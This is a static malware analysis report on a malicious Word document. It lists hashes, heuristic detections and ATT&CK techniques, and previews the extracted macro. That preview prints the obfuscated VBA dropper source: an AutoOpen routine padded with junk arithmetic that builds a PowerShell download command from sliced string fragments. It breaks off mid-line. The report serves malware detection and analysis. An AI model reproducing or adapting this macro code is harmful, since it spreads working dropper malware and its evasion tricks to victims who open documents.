Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b475caf5123c93b…

MALICIOUS

Office (OLE)

149.0 KB Created: 2018-02-09 15:12:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 0ed072610c44e26a33f5626f1b940c65 SHA-1: ba461d429d5d6f55f4e3125bf539218ed181af6d SHA-256: 7b475caf5123c93b6c8c44f38fbc6480e104349fc5ce5acadbeb9999dfc281e5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a malicious VBA macro. The AutoOpen macro is present and utilizes a Shell() call, indicating an attempt to execute arbitrary code. The macro's obfuscated nature and the presence of a suspicious URL suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6444899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6444899-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ZtW+ZtWdulfcxO+cx In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31179 bytes
SHA-256: ff35e3a7fa31e6d2aabf0d66b1f5ba54a2876da8becef94a1a6e2e54aff806f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jRXuGGNABst"
Sub AutoOpen()
On Error Resume Next
zWnQrJtZf = (7622059 * jnuYXGnzjC * 4391800 - KLVjB) + EpzAVjwSO + Sqr(tnAwjv) * (SpfwTMzwHcLd / 973425)
VcrwbwiiR = (2661177 * EsZFtCacO * 4594184 - rWd) + czEOEloJrRv + Sqr(UkN) * (BbDt / 5082526)
nuDFBiOhT = (7220813 * TqVliCJ * 8147089 - jhozwG) + BSAQSjKpDAIDC + Sqr(bYfakiPc) * (wSNiqFGFG / 9138110)
Application.Run "IOpFmzdSPUQC", dkYWMoHM
rNOSVCjff = (6524966 * uGnpHIIWO * 5406119 - ZqBzFFTjw) + BHLMNGJYAwjuz + Sqr(MZoj) * (zjsTOoYQXwdMwl / 6728454)
swbduCwwN = (5757691 * ftzljRkmwLJow * 4628311 - pmbWmnIOMNzK) + uzlipWJiTmQM + Sqr(KmXjKfFFM) * (WqrFW / 5850602)
End Sub
Function dkYWMoHM()
On Error Resume Next
iVPiul = (3125957 * lEZTV * 6752736 - wjzw) + foptw + Sqr(FDjqbSiVsJuwwq) * (FYutuMQ / 1355257)
WMrVMMZjUB = (1418644 * jaqYVQJGQuMfvc * 1389987 - AqzEjDHtZQvA) + kow + Sqr(qurnwXsl) * (fwFZdRlEMaJD / 3041771)
NhzCFfaRUN = (5633424 * wwEVJCf * 1022205 - GEiPBD) + FSuXLnA + Sqr(iOzYOnWbRZqz) * (XcmAqqT / 4846189)
QEkGrK = JpiRKwS + Mid(hAOGff + "SGIVAl[C'+'ZgV+ZgVHAR]66),[STRi'+'Ng][CHAR]3'+'6)'+') Zg'+'V).RePLAce(([cHAr]108+[c'+'HAr]68+[cHAr]82),ZgV38hZgV).'+'RePLAcqmsAsfS" + CDKGCENz, 7, 117)
EuuRfqsw = (2885806 * jlFL * 3502599 - zBjhitzPiw) + fsDGVtN + Sqr(lMRDvCIsjrw) * (FYdGzBJZ / 5558840)
LDNkfzDhO = (4063099 * wRdMCLBOsr * 5353842 - UhwkiaBQXj) + MHPzHUko + Sqr(QiTl) * (qFjidGf / 5733967)
hQjAMvIcFr = (8427357 * YBQi * 9733839 - EKOtREnOt) + HDVPqOMTnVUit + Sqr(tiPHYGDFp) * (MUEsAmRSoj / 9769165)
jWYYHUh = WDJGDkVGGJwR + Mid(uDHqbkdQqKFA + "VwUvBaGO+cxO}'+'}cxO) -tsBiKOwBisNAjVbFfKEY" + qHWVwjNvrv, 8, 16)
VUGZinJvB = (5838963 * ZnpORF * 2871487 - YqDTs) + zldAtw + Sqr(SYvBUi) * (aEcHHiJAqbVk / 7476998)
CGaRrLIqwC = (185237 * NTpbBD * 3337567 - tQhCHPtN) + aYmUNwMKHwuBfI + Sqr(NBKcL) * (cmIijqZfClzNY / 1918660)
BSDQjTA = (2678591 * wzWdQt * 1236292 - XNIXpGFQ) + Dwm + Sqr(piFmiFLzn) * (wwwE / 2025877)
tTdJaZY = IbSKozrdGWQ + Mid(zjojpnqBNqD + "HEXOP+'tW([cHaR]81+[cHaZgV+ZgVR]115+[cHaR]86),[cHaZtW+ZtWR]39-CRePLACe ([cHaR]73+[cHaR]1ZtW+ZtW'+'18+[cZtW+ZtWHaR]84),[cHaR]96ZgV+ZgV) ) ZtW).RePLACe(([CHAR]99+[CHAR]120+[PsziRwQvXTkvVRnkfwkbPpwPH" + JTSBDCtJ, 6, 166)
dsFSVinGm = (7705843 * YjHKbqBuKUaOF * 8286894 - JYknJfQclmU) + zpoqqu + Sqr(NXNWbAulWru) * (VtXLsGwiPIHVYG / 5430115)
BLBihPFnsYw = (752533 * WikT * 3950788 - LvBInPutl) + pwTZivjsQVEQ + Sqr(wUYqjAMKcBQMP) * (zKOVOWijHIiaa / 8916787)
KWSnOBBL = (8462074 * wYv * 698478 - oPZ) + tYhMzD + Sqr(OEmhC) * (quN / 2909926)
DJBTI = hcjjmHV + Mid(CqvjhLVLbl + "UBoTz+ZtWx'+'O+cxO;YcxO+cxOPcxO+cxO1SDC cxO+cxO= YP1cxO+cxOenv:publcWNnniNU" + URqm, 6, 63)
cjNHfBwD = (6593805 * qnb * 9868221 - ITFOmu) + vCPcl + Sqr(tVwPsC) * (utDKH / 4802766)
KwtqZDGon = (926706 * QVAiw * 5424127 - BrikPtWJGfYnEM) + avYo + Sqr(PPvHNqC) * (hPupkvTEjH / 7465294)
izsfF = (3495071 * jzijlAwM * 9020463 - JIKi) + vbXZqrcrliC + Sqr(tAtom) * (tfSRYcpF / 3487350)
piMPzimHVzI = PMFaSSZC + Mid(RLoJvpHVzzXKE + "PUrLWCVPGSWEV13cxO+cxZtW+ZtWO3)cxO+cxO;YcxOZgV+ZgV+cxOP1ADcxO+cx'+'OCX = QcZtW+ZtWxOJCImo" + MWIKAz, 14, 71)
fizPU = (7111159 * phABcwLr * 7766531 - YuM) + MYYuwCFl + Sqr(OvJJOiCpdqHRY) * (zFusUMMwrEiHF / 5904107)
dFihAWZ = (171375 * iTEnmFSnwMl * 2902666 - EEGnjZoDKlYhPE) + iHZX + Sqr(rHnNlFtnHvIa) * (CnAYTYFMiYijFW / 290013)
CWMjdnSk = (2494495 * pnNaE * 9265070 - tCbfAw) + dzkNQF + Sqr(nASb) * (jFjf / 6740338)
fZzKhwN = KlhaMiIFkNbh + Mid(FsAi + "TwKpBVHWrcCHAR]79),ZgV+ZgV[STZgV+ZgVRi'+'Ng][CHARDvP" + DMBQXmQCTiCuk, 11, 39)
wPmaF = (9157752 * wMLMWsnZzIIkOP * 4835895 - bWCsPVZz) + KZHSvEjRWBiXSu + Sqr(mmoB) * (zHtLlbfkDjamLN / 2453345)
cLufz = (3478543 * GCEcTrOuwJ * 5292934 - FdhYCBCjvhUYwN) + brLEhnGfmzUi + Sqr(fRnSEn) * (GsOJMJllZhfjFE / 7465554)
pkisnu = (545588 * EtJwzvaiXnB * 5736760 - CUIPji
... (truncated)

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